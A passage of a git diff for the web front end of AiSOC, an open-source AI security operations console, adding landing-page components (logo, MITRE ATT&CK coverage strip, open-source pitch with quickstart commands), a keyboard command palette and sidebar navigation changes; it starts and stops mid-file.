GitHub+ </a>+ <Link+ href="/dashboard"+ className="inline-flex items-center gap-2 rounded-md bg-brand-500 px-4 py-1.5 text-sm font-semibold text-white shadow-glow-sm transition hover:bg-brand-400"+ >+ Launch console+ <svg viewBox="0 0 20 20" className="h-3.5 w-3.5" fill="currentColor" aria-hidden="true">+ <path d="M7.05 4.05a1 1 0 011.41 0l5 5a1 1 0 010 1.41l-5 5a1 1 0 11-1.41-1.41L11.09 10 7.05 5.46a1 1 0 010-1.41z" />+ </svg>+ </Link>+ </div>++ <button+ type="button"+ onClick={() => setOpen((v) => !v)}+ className="md:hidden inline-flex h-9 w-9 items-center justify-center rounded-md border border-white/10 bg-white/[0.03] text-gray-300 hover:border-white/20"+ aria-expanded={open}+ aria-label="Toggle menu"+ >+ <svg viewBox="0 0 20 20" className="h-5 w-5" fill="currentColor" aria-hidden="true">+ {open ? (+ <path d="M6.28 5.22a.75.75 0 011.06 0L10 7.88l2.66-2.66a.75.75 0 111.06 1.06L11.06 8.94l2.66 2.66a.75.75 0 11-1.06 1.06L10 10l-2.66 2.66a.75.75 0 11-1.06-1.06l2.66-2.66-2.66-2.66a.75.75 0 010-1.06z" />+ ) : (+ <path d="M3 5.5A.5.5 0 013.5 5h13a.5.5 0 010 1h-13a.5.5 0 01-.5-.5zM3 10a.5.5 0 01.5-.5h13a.5.5 0 010 1h-13A.5.5 0 013 10zm.5 4a.5.5 0 000 1h13a.5.5 0 000-1h-13z" />+ )}+ </svg>+ </button>+ </div>++ {open && (+ <div className="border-t border-white/5 bg-surface-base/95 backdrop-blur-md md:hidden">+ <div className="space-y-1 px-4 py-3">+ {NAV_LINKS.map((link) => (+ <a+ key={link.href}+ href={link.href}+ onClick={() => setOpen(false)}+ className="block rounded-md px-3 py-2 text-sm text-gray-300 hover:bg-white/5 hover:text-white"+ >+ {link.label}+ </a>+ ))}+ <div className="flex gap-2 pt-2">+ <a+ href="https://github.com/beenuar/AiSOC"+ target="_blank"+ rel="noreferrer"+ className="flex-1 rounded-md border border-white/10 bg-white/[0.03] px-3 py-2 text-center text-sm font-medium text-gray-300"+ >+ GitHub+ </a>+ <Link+ href="/dashboard"+ className="flex-1 rounded-md bg-brand-500 px-3 py-2 text-center text-sm font-semibold text-white"+ >+ Launch+ </Link>+ </div>+ </div>+ </div>+ )}+ </header>+ );+}diff --git a/apps/web/src/components/landing/Logo.tsx b/apps/web/src/components/landing/Logo.tsxnew file mode 100644index 000000000..b326b3fa6--- /dev/null+++ b/apps/web/src/components/landing/Logo.tsx@@ -0,0 +1,72 @@+import clsx from 'clsx';++interface LogoProps {+ size?: number;+ withWordmark?: boolean;+ className?: string;+}++/**+ * Inline SVG version of the AiSOC mark. We render inline (not from /public/logo.svg)+ * so the gradients can pick up Tailwind brand tokens and so individual elements+ * (the spark) can animate independently when used in the hero.+ */+export function Logo({ size = 36, withWordmark = false, className }: LogoProps) {+ return (+ <span className={clsx('inline-flex items-center gap-3', className)}>+ <svg+ viewBox="0 0 64 64"+ width={size}+ height={size}+ aria-hidden="true"+ className="shrink-0"+ >+ <defs>+ <linearGradient id="aisocLogoOutline" x1="32" y1="8" x2="32" y2="56" gradientUnits="userSpaceOnUse">+ <stop offset="0%" stopColor="#60a5fa" />+ <stop offset="100%" stopColor="#2563eb" />+ </linearGradient>+ <linearGradient id="aisocLogoBody" x1="32" y1="14" x2="32" y2="52" gradientUnits="userSpaceOnUse">+ <stop offset="0%" stopColor="#ffffff" />+ <stop offset="100%" stopColor="#cbd5f5" />+ </linearGradient>+ <radialGradient id="aisocLogoSpark" cx="50%" cy="50%" r="50%">+ <stop offset="0%" stopColor="#fde68a" />+ <stop offset="100%" stopColor="#f59e0b" />+ </radialGradient>+ </defs>+ <path+ d="M32 6 L54 18 L54 42 L32 58 L10 42 L10 18 Z"+ fill="none"+ stroke="url(#aisocLogoOutline)"+ strokeWidth="3"+ strokeLinejoin="round"+ />+ <path+ d="M32 12 L48 21 L48 39 L32 50 L16 39 L16 21 Z"+ fill="rgba(59,130,246,0.08)"+ stroke="url(#aisocLogoOutline)"+ strokeWidth="1.2"+ strokeLinejoin="round"+ opacity="0.7"+ />+ <path+ d="M21 44 L32 16 L43 44 M25.5 35.5 L38.5 35.5"+ fill="none"+ stroke="url(#aisocLogoBody)"+ strokeWidth="3.6"+ strokeLinecap="round"+ strokeLinejoin="round"+ />+ <circle cx="46" cy="18" r="4" fill="url(#aisocLogoSpark)" />+ <circle cx="46" cy="18" r="6.5" fill="none" stroke="rgba(251,191,36,0.4)" strokeWidth="1.4" />+ </svg>+ {withWordmark && (+ <span className="flex items-baseline gap-2 leading-none">+ <span className="text-xl font-bold tracking-tight text-white">AiSOC</span>+ <span className="text-xs font-medium text-gray-500">by Cyble</span>+ </span>+ )}+ </span>+ );+}diff --git a/apps/web/src/components/landing/MitreStrip.tsx b/apps/web/src/components/landing/MitreStrip.tsxnew file mode 100644index 000000000..a0d932203--- /dev/null+++ b/apps/web/src/components/landing/MitreStrip.tsx@@ -0,0 +1,107 @@+'use client';++import { motion } from 'framer-motion';++// A compact MITRE-coverage band. Not a real heatmap (the console has the real+// thing) — this is an at-a-glance proof-of-coverage strip for marketing.+const TACTICS = [+ { id: 'TA0001', name: 'Initial Access', covered: 9, total: 11 },+ { id: 'TA0002', name: 'Execution', covered: 12, total: 14 },+ { id: 'TA0003', name: 'Persistence', covered: 14, total: 19 },+ { id: 'TA0004', name: 'Priv. Escalation', covered: 11, total: 13 },+ { id: 'TA0005', name: 'Defense Evasion', covered: 27, total: 42 },+ { id: 'TA0006', name: 'Credential Access', covered: 14, total: 17 },+ { id: 'TA0007', name: 'Discovery', covered: 19, total: 30 },+ { id: 'TA0008', name: 'Lateral Movement', covered: 8, total: 9 },+ { id: 'TA0009', name: 'Collection', covered: 10, total: 17 },+ { id: 'TA0011', name: 'C&C', covered: 12, total: 16 },+ { id: 'TA0010', name: 'Exfiltration', covered: 7, total: 9 },+ { id: 'TA0040', name: 'Impact', covered: 10, total: 13 },+];++function toneFor(ratio: number) {+ if (ratio >= 0.85) return 'bg-emerald-500/30 border-emerald-400/40';+ if (ratio >= 0.65) return 'bg-amber-500/25 border-amber-400/40';+ if (ratio >= 0.45) return 'bg-orange-500/25 border-orange-400/40';+ return 'bg-rose-500/25 border-rose-400/40';+}++export function MitreStrip() {+ return (+ <section id="mitre" className="relative py-24">+ <div className="mx-auto max-w-7xl px-6">+ <div className="grid grid-cols-1 gap-10 lg:grid-cols-[1fr_1.4fr] lg:items-center">+ <motion.div+ initial={{ opacity: 0, y: 16 }}+ whileInView={{ opacity: 1, y: 0 }}+ viewport={{ once: true, margin: '-100px' }}+ transition={{ duration: 0.5 }}+ >+ <span className="text-xs font-semibold uppercase tracking-wider text-brand-300">+ MITRE ATT&CK+ </span>+ <h2 className="mt-3 text-3xl font-bold tracking-tight text-white md:text-4xl">+ Coverage you can prove+ </h2>+ <p className="mt-4 text-lg text-gray-400">+ Every detection rule and every alert ties back to ATT&CK techniques. The full heatmap+ lives inside the console — this strip is just the headline.+ </p>+ <div className="mt-6 flex flex-wrap gap-3 text-xs">+ <Legend tone="bg-emerald-500/30 border-emerald-400/40" label="≥ 85% covered" />+ <Legend tone="bg-amber-500/25 border-amber-400/40" label="65-84%" />+ <Legend tone="bg-orange-500/25 border-orange-400/40" label="45-64%" />+ <Legend tone="bg-rose-500/25 border-rose-400/40" label="< 45%" />+ </div>+ </motion.div>++ <motion.div+ initial={{ opacity: 0, y: 16 }}+ whileInView={{ opacity: 1, y: 0 }}+ viewport={{ once: true, margin: '-100px' }}+ transition={{ duration: 0.5, delay: 0.1 }}+ className="rounded-2xl border border-white/5 bg-surface-card/50 p-5"+ >+ <div className="grid grid-cols-3 gap-2 sm:grid-cols-4 lg:grid-cols-3 xl:grid-cols-4">+ {TACTICS.map((t) => {+ const ratio = t.covered / t.total;+ return (+ <div+ key={t.id}+ className={`relative overflow-hidden rounded-lg border p-3 ${toneFor(ratio)}`}+ >+ <div className="font-mono text-[10px] uppercase tracking-wider text-white/70">+ {t.id}+ </div>+ <div className="mt-1 text-sm font-semibold text-white">{t.name}</div>+ <div className="mt-2 flex items-baseline gap-1.5 text-xs text-white/80">+ <span className="font-mono text-base font-bold text-white">+ {t.covered}+ </span>+ <span className="text-white/50">/ {t.total}</span>+ </div>+ <div className="mt-2 h-1 overflow-hidden rounded-full bg-white/10">+ <div+ className="h-full bg-white/70"+ style={{ width: `${Math.round(ratio * 100)}%` }}+ />+ </div>+ </div>+ );+ })}+ </div>+ </motion.div>+ </div>+ </div>+ </section>+ );+}++function Legend({ tone, label }: { tone: string; label: string }) {+ return (+ <span className="inline-flex items-center gap-2 text-gray-400">+ <span className={`h-3 w-3 rounded border ${tone}`} />+ {label}+ </span>+ );+}diff --git a/apps/web/src/components/landing/OpenSource.tsx b/apps/web/src/components/landing/OpenSource.tsxnew file mode 100644index 000000000..d0d06e77c--- /dev/null+++ b/apps/web/src/components/landing/OpenSource.tsx@@ -0,0 +1,132 @@+'use client';++import { motion } from 'framer-motion';++const PILLARS = [+ {+ title: 'MIT licensed',+ body: 'Use it in production, fork it, sell services around it. No CLA, no telemetry, no calls home.',+ },+ {+ title: 'Self-hosted by default',+ body: 'docker compose up gets you the full stack on your own hardware. Managed cloud is optional, never required.',+ },+ {+ title: 'Auditable end-to-end',+ body: 'Every detection, every copilot decision, every connector action is logged with inputs, prompts, and rationale.',+ },+ {+ title: 'Backed by Cyble',+ body: 'Maintained by the threat intelligence team at Cyble. Security disclosures get a fast, real, human response.',+ },+];++export function OpenSource() {+ return (+ <section id="open-source" className="relative py-24 md:py-32">+ <div className="mx-auto max-w-7xl px-6">+ <div className="relative overflow-hidden rounded-3xl border border-white/10 bg-gradient-to-br from-surface-card to-surface-base p-8 md:p-12">+ {/* Soft glow */}+ <div className="pointer-events-none absolute -right-32 -top-32 h-96 w-96 rounded-full bg-brand-500/10 blur-3xl" />+ <div className="pointer-events-none absolute -bottom-32 -left-32 h-96 w-96 rounded-full bg-amber-500/10 blur-3xl" />++ <div className="relative grid grid-cols-1 gap-10 lg:grid-cols-[1.1fr_1fr] lg:items-start">+ <motion.div+ initial={{ opacity: 0, y: 16 }}+ whileInView={{ opacity: 1, y: 0 }}+ viewport={{ once: true, margin: '-100px' }}+ transition={{ duration: 0.5 }}+ >+ <span className="text-xs font-semibold uppercase tracking-wider text-brand-300">+ Open source · MIT+ </span>+ <h2 className="mt-3 text-3xl font-bold tracking-tight text-white md:text-5xl">+ Built in the open. Owned by you.+ </h2>+ <p className="mt-5 max-w-xl text-lg leading-relaxed text-gray-400">+ AiSOC is the SOC platform we wished existed — modern, AI-native, and free. No+ runtime fees. No vendor lock-in. No artificial gates between “community”+ and “enterprise” editions.+ </p>++ <div className="mt-8 flex flex-wrap gap-3">+ <a+ href="https://github.com/beenuar/AiSOC"+ target="_blank"+ rel="noreferrer"+ className="inline-flex items-center gap-2 rounded-lg bg-white px-5 py-3 text-sm font-semibold text-gray-900 transition hover:bg-gray-100"+ >+ <svg viewBox="0 0 24 24" className="h-4 w-4" aria-hidden="true" fill="currentColor">+ <path d="M12 .5C5.65.5.5 5.65.5 12c0 5.08 3.29 9.39 7.86 10.91.58.11.79-.25.79-.56 0-.28-.01-1.02-.02-2-3.2.69-3.88-1.54-3.88-1.54-.52-1.32-1.27-1.67-1.27-1.67-1.04-.71.08-.69.08-.69 1.15.08 1.76 1.18 1.76 1.18 1.02 1.75 2.68 1.24 3.34.95.1-.74.4-1.24.73-1.53-2.55-.29-5.24-1.28-5.24-5.69 0-1.26.45-2.29 1.18-3.1-.12-.29-.51-1.46.11-3.05 0 0 .96-.31 3.15 1.18a10.9 10.9 0 015.74 0c2.19-1.49 3.15-1.18 3.15-1.18.62 1.59.23 2.76.11 3.05.74.81 1.18 1.84 1.18 3.1 0 4.42-2.7 5.39-5.27 5.68.41.36.78 1.06.78 2.14 0 1.55-.01 2.79-.01 3.17 0 .31.21.68.8.56C20.21 21.39 23.5 17.08 23.5 12 23.5 5.65 18.35.5 12 .5z" />+ </svg>+ github.com/beenuar/AiSOC+ </a>+ <a+ href="https://github.com/beenuar/AiSOC#quickstart"+ target="_blank"+ rel="noreferrer"+ className="inline-flex items-center gap-2 rounded-lg border border-white/15 bg-white/[0.04] px-5 py-3 text-sm font-semibold text-gray-200 transition hover:border-white/30 hover:bg-white/[0.08]"+ >+ Quickstart+ <svg viewBox="0 0 20 20" className="h-3.5 w-3.5" fill="currentColor" aria-hidden="true">+ <path d="M7.05 4.05a1 1 0 011.41 0l5 5a1 1 0 010 1.41l-5 5a1 1 0 11-1.41-1.41L11.09 10 7.05 5.46a1 1 0 010-1.41z" />+ </svg>+ </a>+ </div>++ {/* Quickstart code */}+ <div className="mt-8 overflow-hidden rounded-xl border border-white/10 bg-black/40 font-mono text-xs">+ <div className="flex items-center gap-2 border-b border-white/5 px-4 py-2 text-[10px] uppercase tracking-wider text-gray-500">+ <span className="h-2 w-2 rounded-full bg-rose-400/70" />+ <span className="h-2 w-2 rounded-full bg-amber-400/70" />+ <span className="h-2 w-2 rounded-full bg-emerald-400/70" />+ <span className="ml-2">terminal</span>+ </div>+ <pre className="overflow-x-auto px-4 py-3 text-gray-300">+ <span className="text-gray-500">$ </span>+ <span className="text-emerald-300">git clone</span> https://github.com/beenuar/AiSOC{'\n'}+ <span className="text-gray-500">$ </span>+ <span className="text-emerald-300">cd</span> aisoc && <span className="text-emerald-300">make</span> up{'\n'}+ <span className="text-gray-500">$ </span>+ <span className="text-emerald-300">pnpm</span> seed:demo{'\n'}+ <span className="text-brand-300">›</span> Console ready at{' '}+ <span className="underline">http://localhost:3000</span>+ </pre>+ </div>+ </motion.div>++ <motion.div+ initial={{ opacity: 0, y: 16 }}+ whileInView={{ opacity: 1, y: 0 }}+ viewport={{ once: true, margin: '-100px' }}+ transition={{ duration: 0.5, delay: 0.1 }}+ className="grid grid-cols-1 gap-3 sm:grid-cols-2"+ >+ {PILLARS.map((p) => (+ <div+ key={p.title}+ className="rounded-xl border border-white/5 bg-white/[0.02] p-5 backdrop-blur"+ >+ <div className="flex items-center gap-2">+ <span className="inline-flex h-6 w-6 items-center justify-center rounded-md bg-brand-500/20 text-brand-200">+ <svg+ viewBox="0 0 20 20"+ className="h-3.5 w-3.5"+ fill="currentColor"+ aria-hidden="true"+ >+ <path d="M7.629 14.571l-3.2-3.2a1 1 0 111.414-1.414l2.493 2.493 6.493-6.493a1 1 0 011.414 1.414l-7.2 7.2a1 1 0 01-1.414 0z" />+ </svg>+ </span>+ <h3 className="text-sm font-semibold text-white">{p.title}</h3>+ </div>+ <p className="mt-2 text-sm leading-relaxed text-gray-400">{p.body}</p>+ </div>+ ))}+ </motion.div>+ </div>+ </div>+ </div>+ </section>+ );+}diff --git a/apps/web/src/components/layout/AppShell.tsx b/apps/web/src/components/layout/AppShell.tsxindex b3727b753..b21905249 100644--- a/apps/web/src/components/layout/AppShell.tsx+++ b/apps/web/src/components/layout/AppShell.tsx@@ -2,6 +2,8 @@import { Sidebar } from './Sidebar';import { TopBar } from './TopBar';+import { CommandPalette } from './CommandPalette';+import { CopilotDock } from '@/components/copilot/CopilotDock';interface AppShellProps {children: React.ReactNode;@@ -17,6 +19,10 @@ export function AppShell({ children }: AppShellProps) {<div className="p-6">{children}</div></main></div>+ {/* Floating Copilot launcher (hidden on /copilot itself) */}+ <CopilotDock />+ {/* Global command palette (⌘K) */}+ <CommandPalette /></div>);}diff --git a/apps/web/src/components/layout/CommandPalette.tsx b/apps/web/src/components/layout/CommandPalette.tsxnew file mode 100644index 000000000..155faf3ad--- /dev/null+++ b/apps/web/src/components/layout/CommandPalette.tsx@@ -0,0 +1,332 @@+'use client';++/**+ * Global command palette (⌘K / Ctrl+K).+ *+ * Mirrors the sidebar navigation, exposes quick actions (refresh, toggle+ * Copilot dock, copy current URL, switch tenant placeholder) and a section+ * for "recent pages" sourced from `localStorage`. Built on top of `cmdk`+ * for solid keyboard ergonomics out of the box.+ *+ * The palette is mounted once in `AppShell` so every authenticated route+ * has access to it. We deliberately keep it client-only and decoupled from+ * the sidebar so we don't ship a giant bundle when users never open it.+ */++import { useCallback, useEffect, useMemo, useState } from 'react';+import { useRouter, usePathname } from 'next/navigation';+import { Command } from 'cmdk';+import { AnimatePresence, motion } from 'framer-motion';+import toast from 'react-hot-toast';++interface PaletteAction {+ id: string;+ label: string;+ hint?: string;+ keywords?: string[];+ shortcut?: string[];+ perform: () => void | Promise<void>;+}++interface PaletteGroup {+ id: string;+ heading: string;+ items: PaletteAction[];+}++const RECENT_STORAGE_KEY = 'aisoc.palette.recent';+const MAX_RECENT = 5;++function readRecent(): string[] {+ if (typeof window === 'undefined') return [];+ try {+ const raw = window.localStorage.getItem(RECENT_STORAGE_KEY);+ if (!raw) return [];+ const parsed = JSON.parse(raw);+ return Array.isArray(parsed) ? parsed.filter((p) => typeof p === 'string').slice(0, MAX_RECENT) : [];+ } catch {+ return [];+ }+}++function writeRecent(path: string) {+ if (typeof window === 'undefined') return;+ try {+ const current = readRecent().filter((p) => p !== path);+ current.unshift(path);+ window.localStorage.setItem(+ RECENT_STORAGE_KEY,+ JSON.stringify(current.slice(0, MAX_RECENT)),+ );+ } catch {+ // localStorage may be unavailable (private mode) — fail silent.+ }+}++const NAV_ITEMS: { label: string; href: string; keywords: string[] }[] = [+ { label: 'Dashboard', href: '/dashboard', keywords: ['home', 'overview', 'metrics'] },+ { label: 'Alerts', href: '/alerts', keywords: ['notifications', 'incidents'] },+ { label: 'Cases', href: '/cases', keywords: ['investigations', 'tickets'] },+ { label: 'Hunt', href: '/hunt', keywords: ['threat hunting', 'search', 'kql', 'esql'] },+ { label: 'Detection Rules', href: '/detection', keywords: ['rules', 'detections', 'sigma'] },+ { label: 'Threat Intel', href: '/threat-intel', keywords: ['ioc', 'feeds', 'cti'] },+ { label: 'Attack Graph', href: '/graph', keywords: ['graph', 'paths', 'cytoscape'] },+ { label: 'AI Copilot', href: '/copilot', keywords: ['assistant', 'chat', 'ai'] },+ { label: 'Connectors', href: '/connectors', keywords: ['integrations', 'sources'] },+ { label: 'Settings', href: '/settings', keywords: ['preferences', 'profile', 'tenant'] },+];++export function CommandPalette() {+ const [open, setOpen] = useState(false);+ const [recent, setRecent] = useState<string[]>([]);+ const router = useRouter();+ const pathname = usePathname();++ // Hotkey: ⌘K / Ctrl+K toggles. Ignore when the user is typing in Monaco+ // (the inline detection rule editor) so we don't hijack the editor's own+ // shortcuts. Other inputs are fine — analysts expect ⌘K to open everywhere.+ useEffect(() => {+ function onKey(e: KeyboardEvent) {+ const isToggle = (e.metaKey || e.ctrlKey) && e.key.toLowerCase() === 'k';+ if (!isToggle) return;+ const target = e.target as Element | null;+ if (target && typeof (target as Element).closest === 'function') {+ if ((target as Element).closest('.monaco-editor')) return;+ }+ e.preventDefault();+ setOpen((prev) => !prev);+ }+ window.addEventListener('keydown', onKey);+ return () => window.removeEventListener('keydown', onKey);+ }, []);++ // Refresh "recent" each time we open so the list reflects other tabs / sessions.+ useEffect(() => {+ if (open) setRecent(readRecent());+ }, [open]);++ // Track current page so it appears in recents next time the palette opens.+ useEffect(() => {+ if (!pathname) return;+ if (pathname === '/' || pathname.startsWith('/login')) return;+ writeRecent(pathname);+ }, [pathname]);++ const close = useCallback(() => setOpen(false), []);++ const navigate = useCallback(+ (href: string) => {+ router.push(href);+ close();+ },+ [router, close],+ );++ const groups = useMemo<PaletteGroup[]>(() => {+ const navGroup: PaletteGroup = {+ id: 'navigation',+ heading: 'Navigation',+ items: NAV_ITEMS.map((item) => ({+ id: `nav:${item.href}`,+ label: item.label,+ hint: item.href,+ keywords: item.keywords,+ perform: () => navigate(item.href),+ })),+ };++ const quickGroup: PaletteGroup = {+ id: 'actions',+ heading: 'Quick actions',+ items: [+ {+ id: 'action:copilot',+ label: 'Ask AiSOC Copilot',+ hint: 'Open the floating Copilot dock',+ shortcut: ['⌘', 'J'],+ keywords: ['ai', 'copilot', 'assistant', 'investigate'],+ perform: () => {+ // Tell the floating dock to open. Lives in CopilotDock.tsx.+ window.dispatchEvent(new Event('aisoc:open-copilot'));+ close();+ },+ },+ {+ id: 'action:full-copilot',+ label: 'Open AI Copilot page',+ hint: 'Full conversation view',+ keywords: ['copilot', 'ai', 'chat'],+ perform: () => navigate('/copilot'),+ },+ {+ id: 'action:refresh',+ label: 'Refresh data',+ hint: 'Reload the current page',+ keywords: ['reload', 'refresh', 'update'],+ perform: () => {+ close();+ window.location.reload();+ },+ },+ {+ id: 'action:copy-url',+ label: 'Copy current URL',+ hint: 'Useful for sharing a view',+ keywords: ['share', 'link', 'url'],+ perform: async () => {+ try {+ await navigator.clipboard.writeText(window.location.href);+ toast.success('URL copied to clipboard');+ } catch {+ toast.error('Could not copy URL');+ }+ close();+ },+ },+ ],+ };++ const recentGroup: PaletteGroup | null = recent.length+ ? {+ id: 'recent',+ heading: 'Recent pages',+ items: recent+ .filter((href) => href !== pathname)+ .map((href) => {+ const match = NAV_ITEMS.find((item) => href.startsWith(item.href));+ return {+ id: `recent:${href}`,+ label: match ? match.label : href,+ hint: href,+ perform: () => navigate(href),+ };+ }),+ }+ : null;++ return recentGroup ? [navGroup, quickGroup, recentGroup] : [navGroup, quickGroup];+ }, [recent, pathname, navigate, close]);++ return (+ <AnimatePresence>+ {open && (+ <motion.div+ key="palette"+ className="fixed inset-0 z-[60] flex items-start justify-center pt-[12vh] px-4"+ initial={{ opacity: 0 }}+ animate={{ opacity: 1 }}+ exit={{ opacity: 0 }}+ transition={{ duration: 0.12 }}+ aria-modal="true"+ role="dialog"+ aria-label="Command palette"+ >+ {/* Backdrop */}+ <button+ type="button"+ aria-label="Close command palette"+ className="absolute inset-0 bg-black/70 backdrop-blur-sm"+ onClick={close}+ />++ <motion.div+ initial={{ y: -8, opacity: 0, scale: 0.98 }}+ animate={{ y: 0, opacity: 1, scale: 1 }}+ exit={{ y: -8, opacity: 0, scale: 0.98 }}+ transition={{ duration: 0.14, ease: 'easeOut' }}+ className="relative w-full max-w-xl rounded-xl border border-gray-700/70 bg-[#0d121b] shadow-2xl shadow-black/50 overflow-hidden"+ >+ <Command+ label="AiSOC command palette"+ loop+ className="flex flex-col"+ >+ <div className="flex items-center gap-2 border-b border-gray-800/80 px-4 py-3">+ <svg+ className="w-4 h-4 text-gray-500 shrink-0"+ fill="none"+ viewBox="0 0 24 24"+ stroke="currentColor"+ >+ <path+ strokeLinecap="round"+ strokeLinejoin="round"+ strokeWidth={1.5}+ d="M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"+ />+ </svg>+ <Command.Input+ autoFocus+ placeholder="Type a command, search a page, or ask the Copilot…"+ className="flex-1 bg-transparent text-sm text-gray-200 placeholder-gray-500 outline-none"+ />+ <kbd className="rounded border border-gray-700 bg-gray-900/70 px-1.5 py-0.5 text-[10px] font-mono text-gray-500">+ ESC+ </kbd>+ </div>++ <Command.List className="max-h-[60vh] overflow-y-auto py-2">+ <Command.Empty className="px-4 py-6 text-center text-xs text-gray-500">+ No matches. Try “alerts”, “hunt”, or “copilot”.+ </Command.Empty>++ {groups.map((group) => (+ <Command.Group+ key={group.id}+ heading={group.heading}+ className="px-2 pb-2 text-[11px] font-semibold uppercase tracking-wider text-gray-500"+ >+ {group.items.map((item) => (+ <Command.Item+ key={item.id}+ value={`${item.label} ${item.hint ?? ''} ${(item.keywords ?? []).join(' ')}`}+ onSelect={() => {+ void item.perform();+ }}+ className="group flex items-center gap-3 rounded-md px-3 py-2 text-sm text-gray-300 cursor-pointer aria-selected:bg-blue-600/15 aria-selected:text-blue-200"+ >+ <span className="flex-1 truncate">{item.label}</span>+ {item.hint && (+ <span className="text-[11px] text-gray-600 group-aria-selected:text-blue-300/80 truncate max-w-[40%] text-right">+ {item.hint}+ </span>+ )}+ {item.shortcut && (+ <span className="flex items-center gap-0.5">+ {item.shortcut.map((key) => (+ <kbd+ key={key}+ className="rounded border border-gray-700 bg-gray-900/60 px-1 py-0.5 text-[10px] font-mono text-gray-400"+ >+ {key}+ </kbd>+ ))}+ </span>+ )}+ </Command.Item>+ ))}+ </Command.Group>+ ))}+ </Command.List>++ <div className="flex items-center justify-between border-t border-gray-800/80 px-4 py-2 text-[11px] text-gray-600">+ <div className="flex items-center gap-3">+ <span className="flex items-center gap-1">+ <kbd className="rounded border border-gray-700 bg-gray-900/70 px-1 py-0.5 font-mono text-gray-500">↑</kbd>+ <kbd className="rounded border border-gray-700 bg-gray-900/70 px-1 py-0.5 font-mono text-gray-500">↓</kbd>+ navigate+ </span>+ <span className="flex items-center gap-1">+ <kbd className="rounded border border-gray-700 bg-gray-900/70 px-1 py-0.5 font-mono text-gray-500">↵</kbd>+ select+ </span>+ </div>+ <span className="hidden sm:inline">AiSOC · ⌘K to toggle</span>+ </div>+ </Command>+ </motion.div>+ </motion.div>+ )}+ </AnimatePresence>+ );+}diff --git a/apps/web/src/components/layout/Sidebar.tsx b/apps/web/src/components/layout/Sidebar.tsxindex c639d62b5..c64143526 100644--- a/apps/web/src/components/layout/Sidebar.tsx+++ b/apps/web/src/components/layout/Sidebar.tsx@@ -67,12 +67,33 @@ const ChartBarIcon = () => (</svg>);+const SearchIcon = () => (+ <svg className="w-5 h-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">+ <path strokeLinecap="round" strokeLinejoin="round" strokeWidth={1.5} d="M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z" />+ </svg>+);++const GraphIcon = () => (+ <svg className="w-5 h-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">+ <circle cx="6" cy="6" r="2" strokeWidth={1.5} />+ <circle cx="18" cy="6" r="2" strokeWidth={1.5} />+ <circle cx="12" cy="18" r="2" strokeWidth={1.5} />+ <path strokeWidth={1.5} strokeLinecap="round" d="M7.5 7.5L11 16.5M16.5 7.5L13 16.5M8 6h8" />+ </svg>+);++const SparklesIcon = () => (+ <svg className="w-5 h-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">+ <path strokeLinecap="round" strokeLinejoin="round" strokeWidth={1.5} d="M9.813 15.904L9 18.75l-.813-2.846a4.5 4.5 0 00-3.09-3.09L2.25 12l2.846-.813a4.5 4.5 0 003.09-3.09L9 5.25l.813 2.846a4.5 4.5 0 003.09 3.09L15.75 12l-2.847.813a4.5 4.5 0 00-3.09 3.09zM18.259 8.715L18 9.75l-.259-1.035a3.375 3.375 0 00-2.455-2.456L14.25 6l1.036-.259a3.375 3.375 0 002.455-2.456L18 2.25l.259 1.035a3.375 3.375 0 002.456 2.456L21.75 6l-1.035.259a3.375 3.375 0 00-2.456 2.456zM16.894 20.567L16.5 21.75l-.394-1.183a2.25 2.25 0 00-1.423-1.423L13.5 18.75l1.183-.394a2.25 2.25 0 001.423-1.423l.394-1.183.394 1.183a2.25 2.25 0 001.423 1.423l1.183.394-1.183.394a2.25 2.25 0 00-1.423 1.423z" />+ </svg>+);+const navSections: NavSection[] = [{items: [{label: 'Dashboard',- href: '/',+ href: '/dashboard',icon: <ChartBarIcon />,},],@@ -92,6 +113,11 @@ const navSections: NavSection[] = [href: '/cases',icon: <FolderIcon />,},+ {+ label: 'Hunt',+ href: '/hunt',+ icon: <SearchIcon />,+ },{label: 'Detection Rules',href: '/detection',@@ -107,6 +133,16 @@ const navSections: NavSection[] = [href: '/threat-intel',icon: <GlobeIcon />,},+ {+ label: 'Attack Graph',+ href: '/graph',+ icon: <GraphIcon />,+ },+ {+ label: 'AI Copilot',+ href: '/copilot',+ icon: <SparklesIcon />,+ },],},{@@ -130,7 +166,7 @@ export function Sidebar() {const pathname = usePathname();const isActive = (href: string) => {- if (href === '/') return pathname === '/';+ if (href === '/dashboard') return pathname === '/dashboard';return pathname.startsWith(href);};@@ -202,7 +238,7 @@ export function Sidebar() {<span className="font-mono">v0.1.0</span><span>·</span><a- href="https://github.com/cyble-dev/aisoc"+ href="https://github.com/beenuar/AiSOC"target="_blank"rel="noopener noreferrer"className="hover:text-gray-400 transition-colors"diff --git a/apps/web/src/components/layout/TopBar.tsx b/apps/web/src/components/layout/TopBar.tsxindex b15cbdfcb..652704ba9 100644--- a/apps/web/src/components/layout/TopBar.tsx+++ b/apps/web/src/components/layout/TopBar.tsx@@ -1,6 +1,6 @@'use client';-import { useState } from 'react';+import { useEffect, useState } from 'react';import { usePathname } from 'next/navigation';const routeLabels: Record<string, { title: string; description: string }> = {@@ -13,13 +13,24 @@ const routeLabels: Record<string, { title: string; description: string }> = {'/settings': { title: 'Settings', description: 'Platform configuration' },};-interface TopBarProps {- onSearch?: (query: string) => void;-}--export function TopBar({ onSearch }: TopBarProps) {+export function TopBar() {const pathname = usePathname();- const [searchQuery, setSearchQuery] = useState('');+ const [now, setNow] = useState<Date | null>(null);+ const [shortcut, setShortcut] = useState<'⌘K' | 'Ctrl K'>('⌘K');++ // Update the clock every second on the client only (avoids hydration drift).+ useEffect(() => {+ setNow(new Date());+ const id = window.setInterval(() => setNow(new Date()), 1000);+ return () => window.clearInterval(id);+ }, []);++ // Show the right OS-specific shortcut hint without breaking SSR.+ useEffect(() => {+ if (typeof navigator === 'undefined') return;+ const isMac = /Mac|iPod|iPhone|iPad/.test(navigator.platform);+ setShortcut(isMac ? '⌘K' : 'Ctrl K');+ }, []);const routeKey = Object.keys(routeLabels).find((key) => key !== '/' && pathname.startsWith(key)@@ -27,24 +38,34 @@ export function TopBar({ onSearch }: TopBarProps) {const routeInfo = routeLabels[routeKey] || routeLabels['/alerts'];- const handleSearch = (e: React.FormEvent) => {- e.preventDefault();- onSearch?.(searchQuery);+ const openPalette = () => {+ // Synthesize the same 